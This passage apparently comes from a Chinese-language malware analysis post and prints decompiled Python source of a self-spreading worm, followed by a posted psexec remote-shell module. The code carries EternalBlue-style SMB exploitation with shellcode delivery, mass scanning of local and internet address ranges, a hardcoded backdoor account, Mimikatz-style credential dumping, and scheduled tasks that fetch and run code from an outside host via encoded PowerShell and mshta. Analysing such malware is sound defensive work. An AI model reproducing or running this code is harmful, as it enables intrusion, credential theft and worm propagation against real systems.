  769. pkt['Tid'] = tid
  770. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
  771. transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
  772. transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
  773. transCommand['Parameters']['TotalParameterCount'] = 0
  774. transCommand['Parameters']['TotalDataCount'] = len(data)
  775. fixedOffset = 53
  776. transCommand['Data']['Pad1'] = ''
  777. transCommand['Parameters']['ParameterCount'] = 0
  778. transCommand['Parameters']['ParameterOffset'] = 0
  779. if len(data) > 0:
  780. pad2Len = (4 - fixedOffset % 4) % 4
  781. transCommand['Data']['Pad2'] = '\xff' * pad2Len
  782. else:
  783. transCommand['Data']['Pad2'] = ''
  784. pad2Len = 0
  785. transCommand['Parameters']['DataCount'] = len(data)
  786. transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
  787. transCommand['Parameters']['DataDisplacement'] = displacement
  788. transCommand['Data']['Trans_Parameters'] = ''
  789. transCommand['Data']['Trans_Data'] = data
  790. pkt.addCommand(transCommand)
  791. conn.sendSMB(pkt)
  792. def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
  793. pkt = smb.NewSMBPacket()
  794. pkt['Tid'] = tid
  795. command = pack('<H', setup)
  796. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
  797. transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
  798. transCommand['Parameters']['MaxSetupCount'] = 1
  799. transCommand['Parameters']['MaxParameterCount'] = len(param)
  800. transCommand['Parameters']['MaxDataCount'] = 0
  801. transCommand['Data'] = smb.SMBTransaction2_Data()
  802. transCommand['Parameters']['Setup'] = command
  803. transCommand['Parameters']['TotalParameterCount'] = len(param)
  804. transCommand['Parameters']['TotalDataCount'] = len(data)
  805. fixedOffset = 73 + len(command)
  806. if len(param) > 0:
  807. padLen = (4 - fixedOffset % 4) % 4
  808. padBytes = '\xff' * padLen
  809. transCommand['Data']['Pad1'] = padBytes
  810. else:
  811. transCommand['Data']['Pad1'] = ''
  812. padLen = 0
  813. transCommand['Parameters']['ParameterCount'] = len(param)
  814. transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
  815. if len(data) > 0:
  816. pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
  817. transCommand['Data']['Pad2'] = '\xff' * pad2Len
  818. else:
  819. transCommand['Data']['Pad2'] = ''
  820. pad2Len = 0
  821. transCommand['Parameters']['DataCount'] = firstDataFragmentSize
  822. transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
  823. transCommand['Data']['Trans_Parameters'] = param
  824. transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
  825. pkt.addCommand(transCommand)
  826. conn.sendSMB(pkt)
  827. conn.recvSMB()
  828. i = firstDataFragmentSize
  829. while i < len(data):
  830. sendSize = min(4096, len(data) - i)
  831. if len(data) - i <= 4096:
  832. if not sendLastChunk:
  833. break
  834. send_trans2_second(conn, tid, data[i:i + sendSize], i)
  835. i += sendSize
  836. if sendLastChunk:
  837. conn.recvSMB()
  838. return i
  839. def createConnectionWithBigSMBFirst80(target):
  840. sk = socket.create_connection((target, 445))
  841. pkt = '\x00\x00' + pack('>H', 65527)
  842. pkt += 'BAAD'
  843. pkt += '\x00' * 124
  844. sk.send(pkt)
  845. return sk
  846. lock2 = threading.Lock()
  847. def exploit2(target, shellcode, numGroomConn):
  848. global lock2
  849. lock2.acquire()
  850. conn = smb.SMB(target, target)
  851. conn.login_standard('', '')
  852. server_os = conn.get_server_os()
  853. print 'Target OS: ' + server_os
  854. if not (server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server ') and ' 2008 ' in server_os or server_os.startswith('Windows Vista')):
  855. print 'This exploit does not support this target'
  856. tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
  857. progress = send_big_trans2(conn, tid, 0, feaList, '\x00' * 30, 2000, False)
  858. allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112)
  859. srvnetConn = []
  860. for i in range(numGroomConn):
  861. sk = createConnectionWithBigSMBFirst80(target)
  862. srvnetConn.append(sk)
  863. holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 16)
  864. allocConn.get_socket().close()
  865. for i in range(5):
  866. sk = createConnectionWithBigSMBFirst80(target)
  867. srvnetConn.append(sk)
  868. holeConn.get_socket().close()
  869. send_trans2_second(conn, tid, feaList[progress:], progress)
  870. recvPkt = conn.recvSMB()
  871. retStatus = recvPkt.getNTStatus()
  872. if retStatus == 3221225485L:
  873. print 'good response status: INVALID_PARAMETER'
  874. else:
  875. print ('bad response status: 0x{:08x}').format(retStatus)
  876. for sk in srvnetConn:
  877. sk.send(fake_recv_struct + shellcode)
  878. for sk in srvnetConn:
  879. sk.close()
  880. conn.disconnect_tree(tid)
  881. conn.logoff()
  882. conn.get_socket().close()
  883. time.sleep(2)
  884. lock2.release()
  885. lock3 = threading.Lock()
  886. def exploit3(target, shellcode, numGroomConn1):
  887. global lock3
  888. lock3.acquire()
  889. conn3 = smb.SMB(target, target)
  890. conn3.login_standard('', '')
  891. server_os3 = conn3.get_server_os()
  892. print 'Target OS: ' + server_os3
  893. if not (server_os3.startswith('Windows 7 ') or server_os3.startswith('Windows Server ') and ' 2008 ' in server_os3 or server_os3.startswith('Windows Vista')):
  894. print 'This exploit does not support this target'
  895. tid3 = conn3.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
  896. progress3 = send_big_trans2(conn3, tid3, 0, feaList, '\x00' * 30, 2000, False)
  897. allocConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112)
  898. srvnetConn3 = []
  899. for i in range(numGroomConn1):
  900. sk3 = createConnectionWithBigSMBFirst80(target)
  901. srvnetConn3.append(sk3)
  902. holeConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 16)
  903. allocConn3.get_socket().close()
  904. for i in range(5):
  905. sk3 = createConnectionWithBigSMBFirst80(target)
  906. srvnetConn3.append(sk3)
  907. holeConn3.get_socket().close()
  908. send_trans2_second(conn3, tid3, feaList[progress3:], progress3)
  909. recvPkt3 = conn3.recvSMB()
  910. retStatus3 = recvPkt3.getNTStatus()
  911. if retStatus3 == 3221225485L:
  912. print 'good response status: INVALID_PARAMETER'
  913. else:
  914. print ('bad response status: 0x{:08x}').format(retStatus3)
  915. for sk3 in srvnetConn3:
  916. sk3.send(fake_recv_struct + shellcode)
  917. for sk3 in srvnetConn3:
  918. sk3.close()
  919. conn3.disconnect_tree(tid3)
  920. conn3.logoff()
  921. conn3.get_socket().close()
  922. time.sleep(2)
  923. lock3.release()
  924. NEGOTIATE_PROTOCOL_REQUEST = binascii.unhexlify('00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200')
  925. SESSION_SETUP_REQUEST = binascii.unhexlify('00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000')
  926. TREE_CONNECT_REQUEST = binascii.unhexlify('00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00')
  927. NAMED_PIPE_TRANS_REQUEST = binascii.unhexlify('0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00')
  928. timeout = 1
  929. verbose = 0
  930. threads_num = 255
  931. if 'Windows-XP' in platform.platform():
  932. timeout = 1
  933. threads_num = 2
  934. semaphore1 = threading.BoundedSemaphore(value=2)
  935. semaphore = threading.BoundedSemaphore(value=2)
  936. semaphore2 = threading.BoundedSemaphore(value=2)
  937. else:
  938. semaphore1 = threading.BoundedSemaphore(value=255)
  939. semaphore = threading.BoundedSemaphore(value=threads_num)
  940. semaphore2 = threading.BoundedSemaphore(value=100)
  941. print_lock = threading.Lock()
  942. def print_status(ip, message):
  943. global print_lock
  944. with print_lock:
  945. print '[*] [%s] %s' % (ip, message)
  946. def check_ip(ip, tg):
  947. global verbose
  948. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  949. s.settimeout(float(timeout) if timeout else None)
  950. host = ip
  951. port = 445
  952. s.connect((host, port))
  953. if verbose:
  954. print_status(ip, 'Sending negotiation protocol request')
  955. s.send(NEGOTIATE_PROTOCOL_REQUEST)
  956. negotiate_reply = s.recv(1024)
  957. if len(negotiate_reply) < 36 or struct.unpack('<I', negotiate_reply[9:13])[0] != 0:
  958. with print_lock:
  959. print "[-] [%s] can't determine whether it's vulunerable" % ip
  960. return
  961. if verbose:
  962. print_status(ip, 'Sending session setup request')
  963. s.send(SESSION_SETUP_REQUEST)
  964. session_setup_response = s.recv(1024)
  965. user_id = session_setup_response[32:34]
  966. if verbose:
  967. print_st(ip, 'User ID = %s' % struct.unpack('<H', user_id)[0])
  968. os = ''
  969. word_count = ord(session_setup_response[36])
  970. if word_count != 0:
  971. byte_count = struct.unpack('<H', session_setup_response[43:45])[0]
  972. if len(session_setup_response) != byte_count + 45:
  973. print_status('invalid session setup AndX response')
  974. else:
  975. for i in range(46, len(session_setup_response) - 1):
  976. if ord(session_setup_response[i]) == 0 and ord(session_setup_response[i + 1]) == 0:
  977. os = session_setup_response[46:i].decode('utf-8')[::2]
  978. break
  979. modified_tree_connect_request = list(TREE_CONNECT_REQUEST)
  980. modified_tree_connect_request[32] = user_id[0]
  981. modified_tree_connect_request[33] = user_id[1]
  982. modified_tree_connect_request = ('').join(modified_tree_connect_request)
  983. if verbose:
  984. print_status(ip, 'Sending tree connect')
  985. s.send(modified_tree_connect_request)
  986. tree_connect_response = s.recv(1024)
  987. tree_id = tree_connect_response[28:30]
  988. if verbose:
  989. print_status(ip, 'Tree ID = %s' % struct.unpack('<H', tree_id)[0])
  990. modified_trans2_session_setup = list(NAMED_PIPE_TRANS_REQUEST)
  991. modified_trans2_session_setup[28] = tree_id[0]
  992. modified_trans2_session_setup[29] = tree_id[1]
  993. modified_trans2_session_setup[32] = user_id[0]
  994. modified_trans2_session_setup[33] = user_id[1]
  995. modified_trans2_session_setup = ('').join(modified_trans2_session_setup)
  996. if verbose:
  997. print_status(ip, 'Sending named pipe')
  998. s.send(modified_trans2_session_setup)
  999. final_response = s.recv(1024)
  1000. if final_response[9] == '\x05' and final_response[10] == '\x02' and final_response[11] == '\x00' and final_response[12] == '\xc0':
  1001. print '[+] [%s](%s) got it!' % (ip, os)
  1002. if 'Windows 7' in os:
  1003. if scan(ip, 65533) == 0:
  1004. print '[+] exploit...' + ip + ' win7'
  1005. try:
  1006. exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
  1007. except:
  1008. print 'no user'
  1009. try:
  1010. exploit2(ip, sc, int(random.randint(5, 13)))
  1011. try:
  1012. print 'exp again '
  1013. exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
  1014. except:
  1015. print 'no user2'
  1016. lock2.release()
  1017. except:
  1018. print '[*] maybe crash'
  1019. time.sleep(6)
  1020. try:
  1021. print 'exp again '
  1022. exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
  1023. except:
  1024. print 'no user3'
  1025. lock2.release()
  1026. elif 'Windows Server 2008' in os:
  1027. if scan(ip, 65533) == 0:
  1028. print '[+] exploit...' + ip + ' win2k8'
  1029. try:
  1030. exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
  1031. except:
  1032. print 'no user'
  1033. try:
  1034. exploit3(ip, sc, int(random.randint(5, 13)))
  1035. try:
  1036. print 'exp again '
  1037. exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
  1038. except:
  1039. print 'no user 2'
  1040. lock3.release()
  1041. except:
  1042. print '[*] maybe crash'
  1043. time.sleep(6)
  1044. try:
  1045. print 'exp again '
  1046. exploit(ip, None, 'k8h3d', 'k8d3j9SjfS7', tg)
  1047. except:
  1048. print 'no user 3'
  1049. lock3.release()
  1050. if 'Windows 5.1' in os:
  1051. if scan(ip, 65533) == 0:
  1052. print '[+] exploit...' + ip + ' xp'
  1053. try:
  1054. exploit(ip, None, '', '', tg)
  1055. except:
  1056. print 'not succ'
  1057. elif 'Windows Server 2003' in os:
  1058. if scan(ip, 65533) == 0:
  1059. print '[+] exploit...' + ip + ' win2k3'
  1060. try:
  1061. exploit(ip, None, '', '', tg)
  1062. except:
  1063. print 'not succ'
  1064. elif scan(ip, 65533) == 0:
  1065. print '[+] exploit...' + ip + ' *************************other os'
  1066. for u in userlist:
  1067. for p in passlist:
  1068. if u == '' and p != '':
  1069. continue
  1070. try:
  1071. exploit(ip, None, u, p, tg)
  1072. except:
  1073. print 'exp not succ!'
  1074. else:
  1075. print '[-] [%s](%s) stays in safety' % (ip, os)
  1076. s.close()
  1077. def check_thread(ip_address):
  1078. global semaphore
  1079. try:
  1080. try:
  1081. check_ip(ip_address, tg=1)
  1082. except Exception as e:
  1083. with print_lock:
  1084. tmp = 2
  1085. finally:
  1086. semaphore.release()
  1087. def check_thread2(ip_address):
  1088. try:
  1089. try:
  1090. check_ip(ip_address, tg=2)
  1091. except Exception as e:
  1092. with print_lock:
  1093. tmp = 2
  1094. finally:
  1095. semaphore.release()
  1096. one = 1
  1097. try:
  1098. h_one = socket.socket()
  1099. addr = ('', 60124)
  1100. h_one.bind(addr)
  1101. one = 1
  1102. except:
  1103. one = 2
  1104. if one == 2:
  1105. print 'alredy run eb'
  1106. sys.exit()
  1107. usr = subprocess.Popen('cmd /c net user&netsh advfirewall set allprofile state on&netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445', stdout=subprocess.PIPE)
  1108. dusr = usr.stdout.read()
  1109. if 'k8h3d' in dusr:
  1110. usr = subprocess.Popen('cmd /c net user k8h3d /del', stdout=subprocess.PIPE)
  1111. dl = ''
  1112. ee2 = ''
  1113. if os.path.exists('c:/windows/system32/svhost.exe'):
  1114. dl = 'c:\\windows\\system32\\svhost.exe'
  1115. if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
  1116. dl = 'c:\\windows\\SysWOW64\\svhost.exe'
  1117. if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
  1118. dl = 'c:\\windows\\system32\\drivers\\svchost.exe'
  1119. if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
  1120. dl = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
  1121. if os.path.exists('c:/windows/temp/svvhost.exe'):
  1122. ee2 = 'c:\\windows\\temp\\svvhost.exe'
  1123. if os.path.exists('c:/windows/temp/svchost.exe'):
  1124. ee2 = 'c:\\windows\\temp\\svchost.exe'
  1125. if os.path.exists('C:\\windows\\system32\\WindowsPowerShell\\'):
  1126. usr0 = subprocess.Popen('cmd /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "C:\\Windows\\temp\\svchost.exe" /F', stdout=subprocess.PIPE)
  1127. usr1 = subprocess.Popen('cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F', stdout=subprocess.PIPE)
  1128. def mmka():
  1129. global domainlist
  1130. global passlist
  1131. global userlist2
  1132. if os.path.exists('C:\\windows\\system32\\WindowsPowerShell\\'):
  1133. if os.path.exists('c:/windows/temp/m.ps1'):
  1134. if os.path.exists('c:/windows/temp/mkatz.ini'):
  1135. print 'mkatz.ini exist'
  1136. mtime = os.path.getmtime('c:\\windows\\temp\\mkatz.ini')
  1137. mnow = int(time.time())
  1138. if (mnow - mtime) / 60 / 60 < 24:
  1139. musr = open('c:\\windows\\temp\\mkatz.ini', 'r').read()
  1140. else:
  1141. print 'reload mimi'
  1142. if 'PROGRAMFILES(X86)' in os.environ:
  1143. usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
  1144. else:
  1145. usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
  1146. musr = usr.stdout.read()
  1147. fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
  1148. fmk.write(musr)
  1149. fmk.close()
  1150. else:
  1151. print 'reload mimi'
  1152. if 'PROGRAMFILES(X86)' in os.environ:
  1153. usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
  1154. else:
  1155. usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
  1156. musr = usr.stdout.read()
  1157. fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
  1158. fmk.write(musr)
  1159. fmk.close()
  1160. else:
  1161. fm = open('c:\\windows\\temp\\m.ps1', 'w')
  1162. fm.write(mkatz)
  1163. fm.close()
  1164. if os.path.exists('c:/windows/temp/mkatz.ini'):
  1165. print 'mkatz.ini exist'
  1166. mtime = os.path.getmtime('c:\\windows\\temp\\mkatz.ini')
  1167. mnow = int(time.time())
  1168. if (mnow - mtime) / 60 / 60 < 24:
  1169. print 'reload mimi'
  1170. musr = open('c:\\windows\\temp\\mkatz.ini', 'r').read()
  1171. else:
  1172. print 'reload mimi'
  1173. if 'PROGRAMFILES(X86)' in os.environ:
  1174. usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
  1175. else:
  1176. usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
  1177. musr = usr.stdout.read()
  1178. fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
  1179. fmk.write(musr)
  1180. fmk.close()
  1181. else:
  1182. print 'reload mimi'
  1183. if 'PROGRAMFILES(X86)' in os.environ:
  1184. usr = subprocess.Popen('C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
  1185. else:
  1186. usr = subprocess.Popen('powershell.exe -exec bypass "import-module c:\\windows\\temp\\m.ps1;Invoke-Cats -pwds"', stdout=subprocess.PIPE)
  1187. musr = usr.stdout.read()
  1188. fmk = open('c:\\windows\\temp\\mkatz.ini', 'w')
  1189. fmk.write(musr)
  1190. fmk.close()
  1191. else:
  1192. usr3 = subprocess.Popen('cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck)', stdout=subprocess.PIPE)
  1193. usr4 = subprocess.Popen('cmd /c start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "C:\\Windows\\temp\\svchost.exe"&schtasks /run /TN Autoscan)', stdout=subprocess.PIPE)
  1194. print 'mimi over'
  1195. usern = ''
  1196. lmhash = ''
  1197. nthash = ''
  1198. tspkg = ''
  1199. wdigest = ''
  1200. kerberos = ''
  1201. domain = ''
  1202. usernull = ''
  1203. try:
  1204. dousr = subprocess.Popen('cmd /c wmic ntdomain get domainname', stdout=subprocess.PIPE)
  1205. domianusr = dousr.stdout.read()
  1206. dousr = subprocess.Popen('cmd /c net user', stdout=subprocess.PIPE)
  1207. luser = dousr.stdout.read().split('\r\n')[:-3]
  1208. for c in luser:
  1209. if '-' in c:
  1210. continue
  1211. for j in c.split(' '):
  1212. if '' == j:
  1213. continue
  1214. if 'Guest' == j:
  1215. continue
  1216. userlist2.append(j.strip())
  1217. if '* LM' in musr:
  1218. mmlist = musr.split('* LM')
  1219. del mmlist[0]
  1220. for i in mmlist:
  1221. domaint = i.split('Domain :')[1].split('\n')[0].strip()
  1222. if domaint in domianusr:
  1223. domainlist.append(domaint)
  1224. for ii in i.split('Authentication')[0].split('Username :')[1:]:
  1225. unt = ii.split('\n')[0].strip()
  1226. userlist2.append(unt)
  1227. for ii in i.split('Authentication')[0].split('Password :')[1:]:
  1228. pwdt = ii.split('\n')[0].strip()
  1229. if pwdt != '(null)':
  1230. passlist.append(pwdt)
  1231. passlist = list(set(passlist))
  1232. userlist2 = list(set(userlist2))
  1233. domainlist = list(set(domainlist))
  1234. else:
  1235. print 'nobody logon'
  1236. if '* NTLM' in musr:
  1237. mmlist = musr.split('* NTLM')
  1238. del mmlist[0]
  1239. for i in mmlist:
  1240. NThash = i.split(':')[1].split('\n')[0].strip()
  1241. ntlist.append(NThash)
  1242. except:
  1243. print 'except'
  1244. mmka()
  1245. var = 1
  1246. while var == 1:
  1247. print 'start scan'
  1248. if '.exe' in dl:
  1249. for network in find_ip():
  1250. print network
  1251. ip, cidr = network.split('/')
  1252. cidr = int(cidr)
  1253. host_bits = 32 - cidr
  1254. i = struct.unpack('>I', socket.inet_aton(ip))[0]
  1255. start = i >> host_bits << host_bits
  1256. end = i | (1 << host_bits) - 1
  1257. for i in range(start + 1, end):
  1258. semaphore1.acquire()
  1259. ip = socket.inet_ntoa(struct.pack('>I', i))
  1260. t1 = threading.Thread(target=scansmb, args=(ip, 445))
  1261. t1.start()
  1262. time.sleep(1)
  1263. print 'smb over sleep 200s'
  1264. time.sleep(5)
  1265. if 'Windows-XP' in platform.platform():
  1266. time.sleep(1000)
  1267. else:
  1268. print 'start scan2'
  1269. if '.exe' in dl:
  1270. for network in iplist2:
  1271. ip, cidr = network.split('/')
  1272. if ip.split('.')[0].strip() == '192':
  1273. continue
  1274. if ip.split('.')[0].strip() == '127':
  1275. continue
  1276. if ip.split('.')[0].strip() == '10':
  1277. continue
  1278. if ip.split('.')[0].strip() == '0':
  1279. continue
  1280. if ip.split('.')[0].strip() == '100':
  1281. continue
  1282. if ip.split('.')[0].strip() == '172':
  1283. continue
  1284. if int(ip.split('.')[0].strip()) in xrange(224, 256):
  1285. continue
  1286. print network
  1287. cidr = int(cidr)
  1288. host_bits = 32 - 16
  1289. i = struct.unpack('>I', socket.inet_aton(ip))[0]
  1290. start = i >> host_bits << host_bits
  1291. end = i | (1 << host_bits) - 1
  1292. for i in range(start + 1, end):
  1293. semaphore2.acquire()
  1294. ip = socket.inet_ntoa(struct.pack('>I', i))
  1295. t1 = threading.Thread(target=scansmb3, args=(ip, 445))
  1296. t1.start()
  1297. time.sleep(1)
  1298. print 'smb over sleep 200s'
  1299. time.sleep(5)
  1300. print 'eb2 internet'
  1301. for s in xip(500):
  1302. if s.split('.')[0].strip() == '127':
  1303. continue
  1304. if s.split('.')[0].strip() == '10':
  1305. continue
  1306. if s.split('.')[0].strip() == '0':
  1307. continue
  1308. if s.split('.')[0].strip() == '100':
  1309. continue
  1310. if s.split('.')[0].strip() == '172':
  1311. continue
  1312. if int(s.split('.')[0].strip()) in xrange(224, 256):
  1313. continue
  1314. print s
  1315. ip, cidr = s.split('/')
  1316. cidr = int(cidr)
  1317. host_bits = 32 - cidr
  1318. i = struct.unpack('>I', socket.inet_aton(ip))[0]
  1319. start = i >> host_bits << host_bits
  1320. end = i | (1 << host_bits) - 1
  1321. for i in range(start + 1, end):
  1322. semaphore1.acquire()
  1323. ip = socket.inet_ntoa(struct.pack('>I', i))
  1324. t1 = threading.Thread(target=scansmb2, args=(ip, 445))
  1325. t1.start()
  1326. time.sleep(2)
  1327. print 'eb2 over'
  1328. print 'sleep 10min'
  1329. time.sleep(5)
  1330. mmka()
  1331. # global h_one ## Warning: Unused global
  1332. ```
  1333. 里面有两个不是公开的库,mysmb和psexec,其中mysmb看起来是[永恒之蓝RCE中的代码](https://github.com/0xsyr0/OSCP/blob/main/exploits/CVE-2017-0144-EternalBlue-MS17-010-RCE/mysmb.py),psexec有找到几个相似的但是没找到一样的,所以代码也放上来:
  1334. ```python
  1335. # uncompyle6 version 3.9.2
  1336. # Python bytecode version base 2.7 (62211)
  1337. # Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
  1338. # [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
  1339. # Embedded file name: psexec.py
  1340. import sys, os, cmd, logging
  1341. from threading import Thread, Lock
  1342. import argparse, random, string, time
  1343. from impacket.examples import logger
  1344. from impacket import version, smb
  1345. from impacket.smbconnection import SMBConnection
  1346. from impacket.dcerpc.v5 import transport
  1347. from impacket.structure import Structure
  1348. from impacket.examples import remcomsvc, serviceinstall
  1349. class RemComMessage(Structure):
  1350. structure = (
  1351. ('Command', '4096s=""'),
  1352. ('WorkingDir', '260s=""'),
  1353. ('Priority', '<L=0x20'),
  1354. ('ProcessID', '<L=0x01'),
  1355. ('Machine', '260s=""'),
  1356. ('NoWait', '<L=0'))
  1357. class RemComResponse(Structure):
  1358. structure = (
  1359. ('ErrorCode', '<L=0'),
  1360. ('ReturnCode', '<L=0'))
  1361. RemComSTDOUT = 'RemCom_stdout'
  1362. RemComSTDIN = 'RemCom_stdin'
  1363. RemComSTDERR = 'RemCom_stderr'
  1364. lock = Lock()
  1365. class RemoteShell(cmd.Cmd):
  1366. def __init__(self, server, port, credentials, tid, fid, share, transport):
  1367. cmd.Cmd.__init__(self, False)
  1368. self.prompt = '\x08'
  1369. self.server = server
  1370. self.transferClient = None
  1371. self.tid = tid
  1372. self.fid = fid
  1373. self.credentials = credentials
  1374. self.share = share
  1375. self.port = port
  1376. self.transport = transport
  1377. return
  1378. def connect_transferClient(self):
  1379. self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect)
  1380. user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
  1381. if self.transport.get_kerberos() is True:
  1382. self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
  1383. else:
  1384. self.transferClient.login(user, passwd, domain, lm, nt)
  1385. def do_help(self, line):
  1386. print '\n lcd {path} - changes the current local directory to {path}\n exit - terminates the server process (and this session)\n put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)\n get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir\n ! {cmd} - executes a local shell cmd\n' % (self.share, self.share)
  1387. self.send_data('\r\n', False)
  1388. def do_shell(self, s):
  1389. os.system(s)
  1390. self.send_data('\r\n')
  1391. def do_get(self, src_path):
  1392. try:
  1393. if self.transferClient is None:
  1394. self.connect_transferClient()
  1395. import ntpath
  1396. filename = ntpath.basename(src_path)
  1397. fh = open(filename, 'wb')
  1398. logging.info('Downloading %s\\%s' % (self.share, src_path))
  1399. self.transferClient.getFile(self.share, src_path, fh.write)
  1400. fh.close()
  1401. except Exception as e:
  1402. logging.critical(str(e))
  1403. self.send_data('\r\n')
  1404. return
  1405. def do_put(self, s):
  1406. try:
  1407. if self.transferClient is None:
  1408. self.connect_transferClient()
  1409. params = s.split(' ')
  1410. if len(params) > 1:
  1411. src_path = params[0]
  1412. dst_path = params[1]
  1413. elif len(params) == 1:
  1414. src_path = params[0]
  1415. dst_path = '/'
  1416. src_file = os.path.basename(src_path)
  1417. fh = open(src_path, 'rb')
  1418. f = dst_path + '/' + src_file
  1419. print '!!!!!!!!!!!!!!!!' + f
  1420. pathname = string.replace(f, '/', '\\')
  1421. logging.info('Uploading1111111111 %s to %s\\%s' % (src_file, self.share, dst_path))
  1422. self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
  1423. fh.close()
  1424. except Exception as e:
  1425. logging.error(str(e))
  1426. self.send_data('\r\n')
  1427. return
  1428. def do_lcd(self, s):
  1429. if s == '':
  1430. print os.getcwd()
  1431. else:
  1432. os.chdir(s)
  1433. self.send_data('\r\n')
  1434. def emptyline(self):
  1435. self.send_data('\r\n')
  1436. def default(self, line):
  1437. self.send_data(line.decode(sys.stdin.encoding).encode('cp437') + '\r\n')
  1438. def send_data(self, data, hideOutput=True):
  1439. global LastDataSent
  1440. if hideOutput is True:
  1441. LastDataSent = data
  1442. else:
  1443. LastDataSent = ''
  1444. self.server.writeFile(self.tid, self.fid, data)
  1445. class Pipes(Thread):
  1446. def __init__(self, transport, pipe, permissions, share=None):
  1447. Thread.__init__(self)
  1448. self.server = 0
  1449. self.transport = transport
  1450. self.credentials = transport.get_credentials()
  1451. self.tid = 0
  1452. self.fid = 0
  1453. self.share = share
  1454. self.port = transport.get_dport()
  1455. self.pipe = pipe
  1456. self.permissions = permissions
  1457. self.daemon = True
